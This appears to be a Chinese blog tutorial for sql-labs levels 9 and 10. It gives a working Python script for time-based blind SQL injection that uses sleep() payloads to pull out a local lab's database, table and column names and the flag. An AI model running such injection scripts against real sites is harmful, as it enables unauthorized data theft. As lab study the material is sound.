此系列为sql-labs第9关和第10关,两关差别不大,这一关使用sql时间盲注的方法,写脚本进行注入,前面的关卡没有用过时间盲注,所以这一关讲的比较详细,如果错误的地方还请大佬指正!
本关无论注入正确与否页面都显示一样的回显,所以无法像第八关那样通过查看页面是否输出语句来判断注入的语句是否正确执行,这一关使用时间盲注方法
请看代码:
import requests
import time
import datetime
url = "http://localhost/sql-labs/Less-9/?id=1'"
def get_dbname():
dbname = ''
for i in range(1,9):
for k in range(32,127):
payload = "and if(ascii(substr(database(),{0},1))={1},sleep(2),1)--+".format(i,k)
# payload = " and if(ascii(substr(database(),{0},1))={1},sleep(2),1) --+".format(i,k)
#if语句里面的sleep(2)为如果注入语句正确浏览器就休眠两秒,也可以和1调换位置(那样就是如果语句错误休眠两秒)
time1 = datetime.datetime.now()
#获得提交payload之前的时间
res = requests.get(url + payload)
time2 = datetime.datetime.now()
#获得payload提交后的时间
difference = (time2 - time1).seconds
#time,time2时间差,seconds是只查看秒
if difference > 1:
dbname += chr(k)
else:
continue
print("数据库名为->"+dbname)
get_dbname()
def get_table():
table1 = ''
table2 = ''
table3 = ''
table4 = ''
for i in range(5):
for j in range(6):
for k in range(32,127):
payload = "and if(ascii(substr((select table_name from information_schema.tables where table_schema=\'security\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)
time1 = datetime.datetime.now()
res = requests.get(url + payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
if i == 0:
table1 += chr(k)
print("第一个表为->"+table1)
elif i == 1:
table2 += chr(k)
print("第二个表为->"+table2)
elif i == 3:
table3 += chr(k)
print("第三个表为->"+table3)
elif i == 4:
table4 += chr(k)
print("第四个表为->"+table4)
else:
break
get_table()
def get_column():
column1 = ''
column2 = ''
column3 = ''
for i in range(3):
for j in range(1,9):
for k in range(32,127):
payload = "and if(ascii(substr((select column_name from information_schema.columns where table_name=\'flag\' limit %d,1),%d,1))=%d,sleep(2),1)--+"%(i,j,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
if i == 0:
column1 += chr(k)
print("字段一为->"+column1)
if i == 1:
column2 += chr(k)
print("字段二为->"+column2)
if i == 2:
column3 += chr(k)
print("字段三为->"+column3)
else:
break
get_column()
def get_flag():
flag = ''
for i in range(30):
for k in range(32,127):
payload = "and if(ascii(substr((select flag from flag),%d,1))=%d,sleep(2),1)--+"%(i,k)
time1 = datetime.datetime.now()
res = requests.get(url+payload)
time2 = datetime.datetime.now()
difference = (time2-time1).seconds
if difference > 1:
flag += chr(k)
print("flag为->"+flag)
get_flag()
跟第八关的脚本差不多,只是使用的注入语句有点差别,涉及到第八关的脚本详解这里不在多说,如果有不懂的请看第八关详解sql-labs-less8详解注入语句只是比第八关多了if语句
**if函数:**这是MySQL内置的函数,语法:if(expr,v1,v2) 如果表达式 expr 成立,返回结果 v1;否则,返回结果 v2。
sleep()函数 功能:执行挂起一段时间,也就是等待一段时间在继续执行,里面的参数单位为秒
less10和less9的区别只是单引号双引号,less10换成双引号就好了 。
以上就是相比第八关的差异了,有疑问的地方欢迎留言,感谢支持!